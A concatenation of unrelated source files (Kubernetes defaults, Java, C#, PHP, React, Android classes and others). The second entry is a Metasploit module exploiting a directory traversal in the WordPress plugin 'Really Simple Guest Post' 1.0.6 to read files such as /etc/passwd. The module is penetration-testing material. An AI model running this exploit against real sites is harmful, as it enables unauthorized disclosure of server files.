text:
/*****************************************************************************/
/**
 *  @file   Int.h
 *  @author Naohisa Sakamoto
 */
/*****************************************************************************/
#pragma once
#include "Object.h"

namespace kvs
{

namespace python
{

class Int : public kvs::python::Object
{
public:
    static bool Check( const kvs::python::Object& object );

public:
    Int( const kvs::Int32 value );
    Int( const kvs::Int64 value );
    Int( const kvs::python::Object& value );

    operator kvs::Int32() const;
    operator kvs::Int64() const;
};

} // end of namespace python

} // end of namespace kvs


text:
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Auxiliary::Report
  include Msf::HTTP::Wordpress
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress Really Simple Guest Post File Read Vulnerability',
      'Description'    => %q{
        This module exploits a directory traversal vulnerability in WordPress
        Plugin "Really Simple Guest Post" version 1.0.6, allowing to read
        arbitrary files with the web server privileges.
      },
      'References'     =>
        [
          ['EDB', '37209'],
          ['WPVDB', '8036']
        ],
      'Author'         =>
        [
          'Kuroi\'SH', # Vulnerability Discovery
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
        ],
      'License'        => MSF_LICENSE
    ))

    register_options(
      [
        OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd'])
      ], self.class)
  end

  def check
    check_plugin_version_from_readme('really-simple-guest-post', '1.0.7')
  end

  def run_host(ip)

    filename = datastore['FILEPATH']
    filename = filename[1, filename.length] if filename =~ /^\/\//

    data = Rex::MIME::Message.new
    data.add_part("#{filename}", 'application/octet-stream', nil, 'form-data; name="rootpath"')
    post_data = data.to_s

    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => normalize_uri(wordpress_url_plugins, 'really-simple-guest-post', 'simple-guest-post-submit.php'),
      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
      'data'      => post_data
    )

    if res &&
        res.code == 500 &&
        res.body.length > 0 &&
        res.headers['Content-Length'].to_i > 0

      vprint_status('Downloading file...')
      vprint_line("\n#{res.body}")
      fname = datastore['FILEPATH']

      path = store_loot(
        'reallysimpleguest.traversal',
        'text/plain',
        ip,
        res.body,
        fname
      )

      print_good("#{peer} - File saved in: #{path}")
    else
      print_error("#{peer} - Nothing was downloaded. You can try to change the FILEPATH parameter.")
    end
  end
end

redpajama_set_name: RedPajamaGithub


text:
using namespace std;

LoadImage::LoadImage()
{

}

void LoadImage::load(QString path, Mat& result){
    Mat image;
    image = imread(path.toStdString().c_str(), CV_LOAD_IMAGE_COLOR);   // Read the file

    if(!(image).data){
        cout <<  "Could not open or find the image" << std::endl ;
    }else{
        result = image;
    }
}


text:
layout: post
title: "Live Tournament Feeds from All Over the World"
---
Live Tournament Feeds

Watch them all day Friday AND Saturday.

Notice how much practice means to robot performance.


text:
package v1

import (
	"time"

	"k8s.io/api/core/v1"
	"k8s.io/apimachinery/pkg/runtime"
	"k8s.io/apimachinery/pkg/util/intstr"
	"k8s.io/kubernetes/pkg/util/parsers"
	utilpointer "k8s.io/utils/pointer"
)

func addDefaultingFuncs(scheme *runtime.Scheme) error {
	return RegisterDefaults(scheme)
}

func SetDefaults_ResourceList(obj *v1.ResourceList) {
	for key, val := range *obj {
		// TODO(#18538): We round up resource values to milli scale to maintain API compatibility.
		// In the future, we should instead reject values that need rounding.
		const milliScale = -3
		val.RoundUp(milliScale)

		(*obj)[v1.ResourceName(key)] = val
	}
}

func SetDefaults_ReplicationController(obj *v1.ReplicationController) {
	var labels map[string]string
	if obj.Spec.Template != nil {
		labels = obj.Spec.Template.Labels
	}
	// TODO: support templates defined elsewhere when we support them in the API
	if labels != nil {
		if len(obj.Spec.Selector) == 0 {
			obj.Spec.Selector = labels
		}
		if len(obj.Labels) == 0 {
			obj.Labels = labels
		}
	}
	if obj.Spec.Replicas == nil {
		obj.Spec.Replicas = new(int32)
		*obj.Spec.Replicas = 1
	}
}
func SetDefaults_Volume(obj *v1.Volume) {
	if utilpointer.AllPtrFieldsNil(&obj.VolumeSource) {
		obj.VolumeSource = v1.VolumeSource{
			EmptyDir: &v1.EmptyDirVolumeSource{},
		}
	}
}
func SetDefaults_ContainerPort(obj *v1.ContainerPort) {
	if obj.Protocol == "" {
		obj.Protocol = v1.ProtocolTCP
	}
}
func SetDefaults_Container(obj *v1.Container) {
	if obj.ImagePullPolicy == "" {
		// Ignore error and assume it has been validated elsewhere
		_, tag, _, _ := parsers.ParseImageName(obj.Image)

		// Check image tag
		if tag == "latest" {
			obj.ImagePullPolicy = v1.PullAlways
		} else {
			obj.ImagePullPolicy = v1.PullIfNotPresent
		}
	}
	if obj.TerminationMessagePath == "" {
		obj.TerminationMessagePath = v1.TerminationMessagePathDefault
	}
	if obj.TerminationMessagePolicy == "" {
		obj.TerminationMessagePolicy = v1.TerminationMessageReadFile
	}
}

func SetDefaults_Service(obj *v1.Service) {
	if obj.Spec.SessionAffinity == "" {
		obj.Spec.SessionAffinity = v1.ServiceAffinityNone
	}
	if obj.Spec.SessionAffinity == v1.ServiceAffinityNone {
		obj.Spec.SessionAffinityConfig = nil
	}
	if obj.Spec.SessionAffinity == v1.ServiceAffinityClientIP {
		if obj.Spec.SessionAffinityConfig == nil || obj.Spec.SessionAffinityConfig.ClientIP == nil || obj.Spec.SessionAffinityConfig.ClientIP.TimeoutSeconds == nil {
			timeoutSeconds := v1.DefaultClientIPServiceAffinitySeconds
			obj.Spec.SessionAffinityConfig = &v1.SessionAffinityConfig{
				ClientIP: &v1.ClientIPConfig{
					TimeoutSeconds: &timeoutSeconds,
				},
			}
		}
	}
	if obj.Spec.Type == "" {
		obj.Spec.Type = v1.ServiceTypeClusterIP
	}
	for i := range obj.Spec.Ports {
		sp := &obj.Spec.Ports[i]
		if sp.Protocol == "" {
			sp.Protocol = v1.ProtocolTCP
		}
		if sp.TargetPort == intstr.FromInt(0) || sp.TargetPort == intstr.FromString("") {
			sp.TargetPort = intstr.FromInt(int(sp.Port))
		}
	}
	// Defaults ExternalTrafficPolicy field for NodePort / LoadBalancer service
	// to Global for consistency.
	if (obj.Spec.Type == v1.ServiceTypeNodePort ||
		obj.Spec.Type == v1.ServiceTypeLoadBalancer) &&
		obj.Spec.ExternalTrafficPolicy == "" {
		obj.Spec.ExternalTrafficPolicy = v1.ServiceExternalTrafficPolicyTypeCluster
	}
}
func SetDefaults_Pod(obj *v1.Pod) {
	// If limits are specified, but requests are not, default requests to limits
	// This is done here rather than a more specific defaulting pass on v1.ResourceRequirements
	// because we only want this defaulting semantic to take place on a v1.Pod and not a v1.PodTemplate
	for i := range obj.Spec.Containers {
		// set requests to limits if requests are not specified, but limits are
		if obj.Spec.Containers[i].Resources.Limits != nil {
			if obj.Spec.Containers[i].Resources.Requests == nil {
				obj.Spec.Containers[i].Resources.Requests = make(v1.ResourceList)
			}
			for key, value := range obj.Spec.Containers[i].Resources.Limits {
				if _, exists := obj.Spec.Containers[i].Resources.Requests[key]; !exists {
					obj.Spec.Containers[i].Resources.Requests[key] = value.DeepCopy()
				}
			}
		}
	}
	for i := range obj.Spec.InitContainers {
		if obj.Spec.InitContainers[i].Resources.Limits != nil {
			if obj.Spec.InitContainers[i].Resources.Requests == nil {
				obj.Spec.InitContainers[i].Resources.Requests = make(v1.ResourceList)
			}
			for key, value := range obj.Spec.InitContainers[i].Resources.Limits {
				if _, exists := obj.Spec.InitContainers[i].Resources.Requests[key]; !exists {
					obj.Spec.InitContainers[i].Resources.Requests[key] = value.DeepCopy()
				}
			}
		}
	}
	if obj.Spec.EnableServiceLinks == nil {
		enableServiceLinks := v1.DefaultEnableServiceLinks
		obj.Spec.EnableServiceLinks = &enableServiceLinks
	}
}
func SetDefaults_PodSpec(obj *v1.PodSpec) {
	// New fields added here will break upgrade tests:
	// https://github.com/kubernetes/kubernetes/issues/69445
	// In most cases the new defaulted field can added to SetDefaults_Pod instead of here, so
	// that it only materializes in the Pod object and not all objects with a PodSpec field.
	if obj.DNSPolicy == "" {
		obj.DNSPolicy = v1.DNSClusterFirst
	}
	if obj.RestartPolicy == "" {
		obj.RestartPolicy = v1.RestartPolicyAlways
	}
	if obj.HostNetwork {
		defaultHostNetworkPorts(&obj.Containers)
		defaultHostNetworkPorts(&obj.InitContainers)
	}
	if obj.SecurityContext == nil {
		obj.SecurityContext = &v1.PodSecurityContext{}
	}
	if obj.TerminationGracePeriodSeconds == nil {
		period := int64(v1.DefaultTerminationGracePeriodSeconds)
		obj.TerminationGracePeriodSeconds = &period
	}
	if obj.SchedulerName == "" {
		obj.SchedulerName = v1.DefaultSchedulerName
	}
}
func SetDefaults_Probe(obj *v1.Probe) {
	if obj.TimeoutSeconds == 0 {
		obj.TimeoutSeconds = 1
	}
	if obj.PeriodSeconds == 0 {
		obj.PeriodSeconds = 10
	}
	if obj.SuccessThreshold == 0 {
		obj.SuccessThreshold = 1
	}
	if obj.FailureThreshold == 0 {
		obj.FailureThreshold = 3
	}
}
func SetDefaults_SecretVolumeSource(obj *v1.SecretVolumeSource) {
	if obj.DefaultMode == nil {
		perm := int32(v1.SecretVolumeSourceDefaultMode)
		obj.DefaultMode = &perm
	}
}
func SetDefaults_ConfigMapVolumeSource(obj *v1.ConfigMapVolumeSource) {
	if obj.DefaultMode == nil {
		perm := int32(v1.ConfigMapVolumeSourceDefaultMode)
		obj.DefaultMode = &perm
	}
}
func SetDefaults_DownwardAPIVolumeSource(obj *v1.DownwardAPIVolumeSource) {
	if obj.DefaultMode == nil {
		perm := int32(v1.DownwardAPIVolumeSourceDefaultMode)
		obj.DefaultMode = &perm
	}
}
func SetDefaults_Secret(obj *v1.Secret) {
	if obj.Type == "" {
		obj.Type = v1.SecretTypeOpaque
	}
}
func SetDefaults_ProjectedVolumeSource(obj *v1.ProjectedVolumeSource) {
	if obj.DefaultMode == nil {
		perm := int32(v1.ProjectedVolumeSourceDefaultMode)
		obj.DefaultMode = &perm
	}
}
func SetDefaults_ServiceAccountTokenProjection(obj *v1.ServiceAccountTokenProjection) {
	hour := int64(time.Hour.Seconds())
	if obj.ExpirationSeconds == nil {
		obj.ExpirationSeconds = &hour
	}
}
func SetDefaults_PersistentVolume(obj *v1.PersistentVolume) {
	if obj.Status.Phase == "" {
		obj.Status.Phase = v1.VolumePending
	}
	if obj.Spec.PersistentVolumeReclaimPolicy == "" {
		obj.Spec.PersistentVolumeReclaimPolicy = v1.PersistentVolumeReclaimRetain
	}
	if obj.Spec.VolumeMode == nil {
		obj.Spec.VolumeMode = new(v1.PersistentVolumeMode)
		*obj.Spec.VolumeMode = v1.PersistentVolumeFilesystem
	}
}
func SetDefaults_PersistentVolumeClaim(obj *v1.PersistentVolumeClaim) {
	if obj.Status.Phase == "" {
		obj.Status.Phase = v1.ClaimPending
	}
	if obj.Spec.VolumeMode == nil {
		obj.Spec.VolumeMode = new(v1.PersistentVolumeMode)
		*obj.Spec.VolumeMode = v1.PersistentVolumeFilesystem
	}
}
func SetDefaults_ISCSIVolumeSource(obj *v1.ISCSIVolumeSource) {
	if obj.ISCSIInterface == "" {
		obj.ISCSIInterface = "default"
	}
}
func SetDefaults_ISCSIPersistentVolumeSource(obj *v1.ISCSIPersistentVolumeSource) {
	if obj.ISCSIInterface == "" {
		obj.ISCSIInterface = "default"
	}
}
func SetDefaults_AzureDiskVolumeSource(obj *v1.AzureDiskVolumeSource) {
	if obj.CachingMode == nil {
		obj.CachingMode = new(v1.AzureDataDiskCachingMode)
		*obj.CachingMode = v1.AzureDataDiskCachingReadWrite
	}
	if obj.Kind == nil {
		obj.Kind = new(v1.AzureDataDiskKind)
		*obj.Kind = v1.AzureSharedBlobDisk
	}
	if obj.FSType == nil {
		obj.FSType = new(string)
		*obj.FSType = "ext4"
	}
	if obj.ReadOnly == nil {
		obj.ReadOnly = new(bool)
		*obj.ReadOnly = false
	}
}
func SetDefaults_Endpoints(obj *v1.Endpoints) {
	for i := range obj.Subsets {
		ss := &obj.Subsets[i]
		for i := range ss.Ports {
			ep := &ss.Ports[i]
			if ep.Protocol == "" {
				ep.Protocol = v1.ProtocolTCP
			}
		}
	}
}
func SetDefaults_HTTPGetAction(obj *v1.HTTPGetAction) {
	if obj.Path == "" {
		obj.Path = "/"
	}
	if obj.Scheme == "" {
		obj.Scheme = v1.URISchemeHTTP
	}
}
func SetDefaults_NamespaceStatus(obj *v1.NamespaceStatus) {
	if obj.Phase == "" {
		obj.Phase = v1.NamespaceActive
	}
}
func SetDefaults_NodeStatus(obj *v1.NodeStatus) {
	if obj.Allocatable == nil && obj.Capacity != nil {
		obj.Allocatable = make(v1.ResourceList, len(obj.Capacity))
		for key, value := range obj.Capacity {
			obj.Allocatable[key] = value.DeepCopy()
		}
		obj.Allocatable = obj.Capacity
	}
}
func SetDefaults_ObjectFieldSelector(obj *v1.ObjectFieldSelector) {
	if obj.APIVersion == "" {
		obj.APIVersion = "v1"
	}
}
func SetDefaults_LimitRangeItem(obj *v1.LimitRangeItem) {
	// for container limits, we apply default values
	if obj.Type == v1.LimitTypeContainer {

		if obj.Default == nil {
			obj.Default = make(v1.ResourceList)
		}
		if obj.DefaultRequest == nil {
			obj.DefaultRequest = make(v1.ResourceList)
		}

		// If a default limit is unspecified, but the max is specified, default the limit to the max
		for key, value := range obj.Max {
			if _, exists := obj.Default[key]; !exists {
				obj.Default[key] = value.DeepCopy()
			}
		}
		// If a default limit is specified, but the default request is not, default request to limit
		for key, value := range obj.Default {
			if _, exists := obj.DefaultRequest[key]; !exists {
				obj.DefaultRequest[key] = value.DeepCopy()
			}
		}
		// If a default request is not specified, but the min is provided, default request to the min
		for key, value := range obj.Min {
			if _, exists := obj.DefaultRequest[key]; !exists {
				obj.DefaultRequest[key] = value.DeepCopy()
			}
		}
	}
}
func SetDefaults_ConfigMap(obj *v1.ConfigMap) {
	if obj.Data == nil {
		obj.Data = make(map[string]string)
	}
}

// With host networking default all container ports to host ports.
func defaultHostNetworkPorts(containers *[]v1.Container) {
	for i := range *containers {
		for j := range (*containers)[i].Ports {
			if (*containers)[i].Ports[j].HostPort == 0 {
				(*containers)[i].Ports[j].HostPort = (*containers)[i].Ports[j].ContainerPort
			}
		}
	}
}

func SetDefaults_RBDVolumeSource(obj *v1.RBDVolumeSource) {
	if obj.RBDPool == "" {
		obj.RBDPool = "rbd"
	}
	if obj.RadosUser == "" {
		obj.RadosUser = "admin"
	}
	if obj.Keyring == "" {
		obj.Keyring = "/etc/ceph/keyring"
	}
}

func SetDefaults_RBDPersistentVolumeSource(obj *v1.RBDPersistentVolumeSource) {
	if obj.RBDPool == "" {
		obj.RBDPool = "rbd"
	}
	if obj.RadosUser == "" {
		obj.RadosUser = "admin"
	}
	if obj.Keyring == "" {
		obj.Keyring = "/etc/ceph/keyring"
	}
}

func SetDefaults_ScaleIOVolumeSource(obj *v1.ScaleIOVolumeSource) {
	if obj.StorageMode == "" {
		obj.StorageMode = "ThinProvisioned"
	}
	if obj.FSType == "" {
		obj.FSType = "xfs"
	}
}

func SetDefaults_ScaleIOPersistentVolumeSource(obj *v1.ScaleIOPersistentVolumeSource) {
	if obj.StorageMode == "" {
		obj.StorageMode = "ThinProvisioned"
	}
	if obj.FSType == "" {
		obj.FSType = "xfs"
	}
}

func SetDefaults_HostPathVolumeSource(obj *v1.HostPathVolumeSource) {
	typeVol := v1.HostPathUnset
	if obj.Type == nil {
		obj.Type = &typeVol
	}
}


text:
wicItApp.controller('AboutCtrl',  function ($scope, $http) {

});


text:
package org.encog.util.normalize.input;

/**
 * An input field that comes from a 1D array.
 *
 * Note: this input field will not be persisted to an EG file.
 * This is because it could point to a lengthy array, that really
 * has no meaning inside of an EG file.
 *
 */
public class InputFieldArray1D extends BasicInputField implements
		HasFixedLength {

	/**
	 * A reference to the array.
	 */
	private final double[] array;

	/**
	 * Construct the 1D array field.
	 * @param usedForNetworkInput True if this field is used for the actual
	 * input to the neural network.  See getUsedForNetworkInput for more info.
	 * @param array The array to use.
	 */
	public InputFieldArray1D(final boolean usedForNetworkInput,
			final double[] array) {
		this.array = array;
		setUsedForNetworkInput(usedForNetworkInput);
	}

	/**
	 * Get the value from the specified index.
	 * @param i The index to retrieve.
	 * @return The value at the specified index.
	 */
	public double getValue(final int i) {
		return this.array[i];
	}

	/**
	 * @return The length of the array.
	 */
	public int length() {
		return this.array.length;
	}

}


text:
package org.kuali.rice.krad.uif.lifecycle;

import java.util.Deque;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.LinkedList;
import java.util.Map;
import java.util.Set;

import org.apache.log4j.Logger;
import org.kuali.rice.krad.service.KRADServiceLocatorWeb;
import org.kuali.rice.krad.uif.component.Component;
import org.kuali.rice.krad.uif.freemarker.LifecycleRenderingContext;
import org.kuali.rice.krad.uif.util.LifecycleElement;
import org.kuali.rice.krad.uif.util.ProcessLogger;
import org.kuali.rice.krad.uif.view.DefaultExpressionEvaluator;
import org.kuali.rice.krad.uif.view.ExpressionEvaluator;
import org.kuali.rice.krad.uif.view.ExpressionEvaluatorFactory;
import org.springframework.util.StringUtils;

/**
 * Single-threaded view lifecycle processor implementation.
 *
 * @author Kuali Rice Team (rice.collab@kuali.org)
 */
public class SynchronousViewLifecycleProcessor extends ViewLifecycleProcessorBase {
    private static final Logger LOG = Logger.getLogger(SynchronousViewLifecycleProcessor.class);

    // pending lifecycle phases.
    private final Deque<ViewLifecyclePhase> pendingPhases = new LinkedList<ViewLifecyclePhase>();

    // the phase currently active on this lifecycle.
    private ViewLifecyclePhase activePhase;

    // the rendering context.
    private LifecycleRenderingContext renderingContext;

    // the expression evaluator to use with this lifecycle.
    private final ExpressionEvaluator expressionEvaluator;

    private static String getTracePath(ViewLifecyclePhase phase) {
        Component parent = phase.getParent();
        if (parent == null) {
            return "";
        } else {
            return phase.getParent().getViewPath();
        }
    }

    private static final class TraceNode {
        private final String path;
        private StringBuilder buffer = new StringBuilder();
        private Set<String> childPaths = new LinkedHashSet<String>();

        private TraceNode(ViewLifecyclePhase phase) {
            path = getTracePath(phase);
        }

        private void startTrace(ViewLifecyclePhase phase) {
            try {
                LifecycleElement element = phase.getElement();

                String parentPath = phase.getParentPath();
                if (StringUtils.hasLength(parentPath)) {
                    childPaths.add(phase.getParentPath());
                }

                buffer.append('\n');
                for (int i = 0; i < phase.getDepth(); i++) {
                    buffer.append("  ");
                }
                buffer.append(phase.getViewPath());
                buffer.append(' ');
                buffer.append(phase.getEndViewStatus());
                buffer.append(' ');
                buffer.append(element.getViewStatus());
                buffer.append(' ');
                buffer.append(element.isRender());
                buffer.append(' ');
                buffer.append(element.getClass().getSimpleName());
                buffer.append(' ');
                buffer.append(element.getId());
                buffer.append(' ');
            } catch (Throwable e) {
                LOG.warn("Error tracing lifecycle", e);
            }
        }

        private void finishTrace(long phaseStartTime, Throwable error) {
            if (error == null) {
                buffer.append(" done ");
            } else {
                buffer.append(" ERROR ");
            }
            buffer.append(ProcessLogger.intervalToString(System.currentTimeMillis() - phaseStartTime));
        }
    }

    private final Map<String, TraceNode> trace = ViewLifecycle.isTrace() ? new HashMap<String, TraceNode>() : null;

    private TraceNode getTraceNode(ViewLifecyclePhase phase) {
        if (trace == null) {
            return null;
        }

        String tracePath = getTracePath(phase);
        TraceNode traceNode = trace.get(tracePath);

        if (traceNode == null) {
            traceNode = new TraceNode(phase);
            trace.put(tracePath, traceNode);
        }

        return traceNode;
    }

    /**
     * Creates a new synchronous processor for a lifecycle.
     *
     * @param lifecycle The lifecycle to process.
     */
    public SynchronousViewLifecycleProcessor(ViewLifecycle lifecycle) {
        super(lifecycle);

        // The null conditions noted here should not happen in full configured environments
        // Conditional fallback support is in place primary for unit testing.
        ExpressionEvaluatorFactory expressionEvaluatorFactory;
        if (lifecycle.helper == null) {
            LOG.warn("No helper is defined for the view lifecycle, using global expression evaluation factory");
            expressionEvaluatorFactory = KRADServiceLocatorWeb.getExpressionEvaluatorFactory();
        } else {
            expressionEvaluatorFactory = lifecycle.helper.getExpressionEvaluatorFactory();
        }

        if (expressionEvaluatorFactory == null) {
            LOG.warn("No global expression evaluation factory is defined, using DefaultExpressionEvaluator");
            expressionEvaluator = new DefaultExpressionEvaluator();
        } else {
            expressionEvaluator = expressionEvaluatorFactory.createExpressionEvaluator();
        }
    }

    /**
     * {@inheritDoc}
     */
    @Override
    public void offerPendingPhase(ViewLifecyclePhase pendingPhase) {
        pendingPhases.offer(pendingPhase);
    }

    /**
     * {@inheritDoc}
     */
    @Override
    public void pushPendingPhase(ViewLifecyclePhase phase) {
        pendingPhases.push(phase);
    }

    /**
     * {@inheritDoc}
     */
    @Override
    public void performPhase(ViewLifecyclePhase initialPhase) {
        long startTime = System.currentTimeMillis();
        TraceNode initialNode = getTraceNode(initialPhase);

        offerPendingPhase(initialPhase);
        while (!pendingPhases.isEmpty()) {
            ViewLifecyclePhase pendingPhase = pendingPhases.poll();
            long phaseStartTime = System.currentTimeMillis();

            try {
                if (trace != null) {
                    getTraceNode(pendingPhase).startTrace(pendingPhase);
                }

                pendingPhase.run();

                if (trace != null) {
                    getTraceNode(pendingPhase).finishTrace(phaseStartTime, null);
                }

            } catch (Throwable e) {
                if (trace != null) {
                    getTraceNode(pendingPhase).finishTrace(phaseStartTime, e);
                }

                if (e instanceof RuntimeException) {
                    throw (RuntimeException) e;
                } else if (e instanceof Error) {
                    throw (Error) e;
                } else {
                    throw new IllegalStateException(e);
                }
            }
        }

        if (trace != null) {
            assert initialNode != null : initialPhase;
            Deque<TraceNode> msgQueue = new LinkedList<TraceNode>();
            StringBuilder msg = new StringBuilder();

            msgQueue.push(initialNode);
            while (!msgQueue.isEmpty()) {
                TraceNode traceNode = msgQueue.pop();
                assert traceNode != null : msg + " " + trace.keySet();
                assert traceNode.buffer != null : traceNode.path;

                msg.append(traceNode.buffer);

                for (String childPath : traceNode.childPaths) {
                    TraceNode child = trace.get(traceNode.path + (traceNode.path.equals("") ? "" : ".") + childPath);
                    if (child != null) {
                        msgQueue.push(child);
                    }
                }
            }

            LOG.info("Lifecycle phase processing completed in "
                    + ProcessLogger.intervalToString(System.currentTimeMillis() - startTime) + msg);
            trace.clear();
        }
    }

    /**
     * {@inheritDoc}
     */
    @Override
    public ViewLifecyclePhase getActivePhase() {
        return activePhase;
    }

    /**
     * {@inheritDoc}
     */
    public LifecycleRenderingContext getRenderingContext() {
        if (renderingContext == null && ViewLifecycle.isRenderInLifecycle()) {
            ViewLifecycle lifecycle = getLifecycle();
            this.renderingContext = new LifecycleRenderingContext(lifecycle.model, lifecycle.request);
        }

        return this.renderingContext;
    }

    /**
     * {@inheritDoc}
     */
    @Override
    public ExpressionEvaluator getExpressionEvaluator() {
        return this.expressionEvaluator;
    }

    /**
     * {@inheritDoc}
     */
    @Override
    void setActivePhase(ViewLifecyclePhase phase) {
        if (activePhase != null && phase != null) {
            throw new IllegalStateException("Another phase is already active on this lifecycle thread " + activePhase);
        }

        activePhase = phase;
    }

}


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace RxReactiveStreamsCSharp
{
    public sealed class MissingBackpressureException : Exception
    {
    }
}


text:
<?php
declare(strict_types = 1);

namespace Vita\ExportFormatter\Exception;

use LogicException;

/**
 * Class EmptySeparatorException
 * @package Vita\ExportFormatter\Exception
 */
class EmptySeparatorException extends LogicException
{
    protected $message = 'Separator must be passed to factory';
}


text:
import React from 'react';
import Regular from './Regular';
import Text from '../Text/Text';

export default {
  route: '/regular',
  title: 'Regular',
  category: 'Typography',
  component: Text,
  initialProps: {
    headline: true,
    children: ['This text is ', <Regular key="regular">regular</Regular>]
  },
  options: []
};


text:
package virtualbuddy;

import java.io.IOException;
import java.util.LinkedList;

import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;

import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;

public class SequenceParser extends DefaultHandler{
	SAXParser sp;
	String name;
	LinkedList<SpeechAct2> speechActs;
	boolean thisOne;

	public SequenceParser(){
		//get a factory
		SAXParserFactory spf = SAXParserFactory.newInstance();
		try {

			//get a new instance of parser
			sp = spf.newSAXParser();

		}catch(SAXException se) {
			se.printStackTrace();
		}catch(ParserConfigurationException pce) {
			pce.printStackTrace();
		}
	}

	public LinkedList<SpeechAct2> getSpeechActs(String name){
		speechActs = new LinkedList<SpeechAct2>();
		this.name = name;

		String fileName;

		// file in jar
		fileName = "/xml/sequence2speechact.xml";

		// file buiten jar
		//fileName = "sequence2speechact.xml";

		//System.out.println("FileName: "+fileName);

		// file in jar
		java.net.URL xmlUrl = getClass().getResource(fileName);

		//parse the file and also register this class for call backs
		try{
			// file in jar
			sp.parse(xmlUrl.openStream(), this);

			// file buiten jar
			//sp.parse(fileName, this);
		}catch (IOException ie) {
			ie.printStackTrace();
		} catch (SAXException e) {
			e.printStackTrace();
		}

		//System.out.println(tempUtt.toString());
		return speechActs;
	}

	public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
		//System.out.println("Test "+name);
		//System.out.println(qName + " aantal attr "+ attributes.getLength());
		//if( attributes.getLength() >= 1) System.out.println(attributes.getValue(0));

		if(qName.equalsIgnoreCase("sequence") && attributes.getValue("name").equalsIgnoreCase(name)) {
			thisOne = true;
			//System.out.println("Sequence "+name+" gevonden ");
		} else if( thisOne && qName.equalsIgnoreCase("sa") ){
			String contents = null;
			String from = attributes.getValue("from");

			//System.out.println("Attr "+ attributes.getLength());

			if(from.equals("robin")) contents = attributes.getValue("contents");
			speechActs.add(new SpeechAct2(from, contents) );
		}
	}

	//public void characters(char[] ch, int start, int length) throws SAXException {
	//	tempVal = new String(ch,start,length);
	//}

	public void endElement(String uri, String localName, String qName) throws SAXException {
		if(qName.equalsIgnoreCase("sequence")){
			thisOne = false;
		}
	}

	public String capitalize(String input){
		// source: http://www.coderanch.com/t/485368/java/java/Capitalize-first-letter-string
	    StringBuilder sb = new StringBuilder(input); // one StringBuilder object
	    sb.setCharAt(0, Character.toUpperCase(sb.charAt(0)));
	    return sb.toString(); // one String object
	}

	public static void main(String[] args){
		SequenceParser up = new SequenceParser();
		LinkedList<SpeechAct2> sas = up.getSpeechActs("qa(event_type)");

		for( SpeechAct2 s : sas){
			System.out.println(s.getFrom()+" "+s.getContents());
		}

	}

}


text:
using Newtonsoft.Json;

namespace ShopifySharp
{
    public class DiscountAllocation
    {
        /// <summary>
        /// The discount amount allocated to the line (not sure why it is a string)
        /// </summary>
        [JsonProperty("amount")]
        public string Amount { get; set; }

        /// <summary>
        /// The index of the associated discount application in the order's discount_applications list.
        /// </summary>
        [JsonProperty("discount_application_index")]
        public long DiscountApplicationIndex { get; set; }

        /// <summary>
        /// The discount amount allocated to the line item in shop and presentment currencies.
        /// </summary>
        [JsonProperty("amount_set")]
        public PriceSet AmountSet { get; set; }
    }
}


text:
#ifndef __ARCH_RISCV_DECODER_HH__
#define __ARCH_RISCV_DECODER_HH__

#include "arch/generic/decode_cache.hh"
#include "arch/generic/decoder.hh"
#include "arch/riscv/types.hh"
#include "base/logging.hh"
#include "base/types.hh"
#include "cpu/static_inst.hh"
#include "debug/Decode.hh"
#include "params/RiscvDecoder.hh"

namespace gem5
{

namespace RiscvISA
{

class ISA;
class Decoder : public InstDecoder
{
  private:
    decode_cache::InstMap<ExtMachInst> instMap;
    bool aligned;
    bool mid;

  protected:
    //The extended machine instruction being generated
    ExtMachInst emi;
    uint32_t machInst;

    StaticInstPtr decodeInst(ExtMachInst mach_inst);

    /// Decode a machine instruction.
    /// @param mach_inst The binary instruction to decode.
    /// @retval A pointer to the corresponding StaticInst object.
    StaticInstPtr decode(ExtMachInst mach_inst, Addr addr);

  public:
    Decoder(const RiscvDecoderParams &p) : InstDecoder(p, &machInst)
    {
        reset();
    }

    void reset() override;

    inline bool compressed(ExtMachInst inst) { return (inst & 0x3) < 0x3; }

    //Use this to give data to the decoder. This should be used
    //when there is control flow.
    void moreBytes(const PCStateBase &pc, Addr fetchPC) override;

    StaticInstPtr decode(PCStateBase &nextPC) override;
};

} // namespace RiscvISA
} // namespace gem5

#endif // __ARCH_RISCV_DECODER_HH__


text:
<?php
require_once( WPSC_TE_V2_CLASSES_PATH . '/query-controller.php' );

class WPSC_Controller_Single extends WPSC_Query_Controller {
	public function __construct() {
		parent::__construct();
	}

	public function index() {
		$this->title = get_queried_object()->post_title;
		$this->view = 'single';
	}

	public function get_native_template() {
		return locate_template( 'single-wpsc-product.php' );
	}
}


text:
package com.jhouseke.onemessageaway.app.ui.settings;

import android.content.Context;
import android.content.res.TypedArray;
import android.util.AttributeSet;
import android.widget.RelativeLayout;

import com.jhouseke.onemessageaway.app.R;

/**
 * Created by timothymiko on 12/30/14.
 */
public class Preference extends RelativeLayout {

    private String mKey;

    public Preference(Context context) {
        this(context, null);
    }

    public Preference(Context context, AttributeSet attrs) {
        this(context, attrs, 0);
    }

    public Preference(Context context, AttributeSet attrs, int defStyleAttr) {
        super(context, attrs, defStyleAttr);

        TypedArray typedArray = context.obtainStyledAttributes(attrs, R.styleable.Preference);
        mKey = typedArray.getString(R.styleable.Preference_key);
        typedArray.recycle();

        init();
    }

    public String getKey() {
        return mKey;
    }

    public void setKey(String key) {
        this.mKey = key;
    }

    public void init() {

    }
}


text:
<?php

namespace Bds\Http\Transformers;

use Bds\Hocs\Users\User;
use League\Fractal\TransformerAbstract;

class UserTransformer extends TransformerAbstract
{
    public function transform(User $user)
    {
        return [
            'name' => $user->name,
            'email' => $user->email,
            'added' => date('Y-m-d', strtotime($user->created_at))
        ];
    }
}


text:
//  This file is part of MANTIS OS, Operating System
//  See http://mantis.cs.colorado.edu/
//
//  Copyright (C) 2003,2004,2005 University of Colorado, Boulder
//
//  This program is free software; you can redistribute it and/or
